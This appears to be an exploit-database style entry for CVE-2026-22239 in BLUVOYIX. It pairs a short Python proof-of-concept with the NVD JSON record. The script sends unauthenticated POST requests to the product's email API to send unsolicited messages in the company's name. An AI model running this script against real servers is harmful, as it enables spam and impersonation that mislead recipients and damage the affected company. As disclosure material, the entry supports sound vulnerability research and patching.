CVE-2026-22239

import requests import json # CVE-2026-22239 PoC - BLUVOYIX Email API Unauthorized Access # Description: Exploits design flaw in email sending API to send unauthorized emails TARGET_URL = "https://target-server/api/email/send" # Replace with actual endpoint def exploit_email_api(): """ Exploit BLUVOYIX email sending API without authentication """ headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } payload = { 'to': '[email protected]', 'from': '[email protected]', 'subject': 'Unsolicited Email via CVE-2026-22239', 'body': 'This email was sent without authorization through BLUVOYIX API', 'html': '<p>This email was sent without authorization through BLUVOYIX API</p>' } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Email sent successfully - Vulnerability confirmed!") return True else: print("[-] Request failed - May require different endpoint or payload") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2026-22239 PoC - BLUVOYIX Email API Unauthorized Access") print("=" * 60) exploit_email_api()

{"cve": {"id": "CVE-2026-22239", "sourceIdentifier": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "published": "2026-01-14T15:16:05.260", "lastModified": "2026-02-02T15:50:35.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The vulnerability exists in BLUVOYIX due to design flaws in the email sending API. An unauthenticated remote attacker could exploit this vulnerability by sending specially crafted HTTP requests to the vulnerable email sending API. Successful exploitation of this vulnerability could allow the attacker to send unsolicited emails to anyone on behalf of the company."}, {"lang": "es", "value": "La vulnerabilidad existe en BLUVOYIX debido a fallos de diseño en la API de envío de correos electrónicos. Un atacante remoto no autenticado podría explotar esta vulnerabilidad enviando solicitudes HTTP especialmente diseñadas a la API de envío de correos electrónicos vulnerable. La explotación exitosa de esta vulnerabilidad podría permitir al atacante enviar correos electrónicos no solicitados a cualquier persona en nombre de la empresa."}], "metrics": {"cvssMetricV40": [{"source": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:H/U:Amber", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "HIGH", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blusparkglobal:bluvoyix:-:*:*:*:*:*:*:*", "matchCriteriaId": "84FDD5FA-DB87-4263-A7F2-C136D7F4155C"}]}]}], "references": [{"url": "https://blusparkglobal.com/bluvoyix/", "source": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "tags": ["Product"]}]}}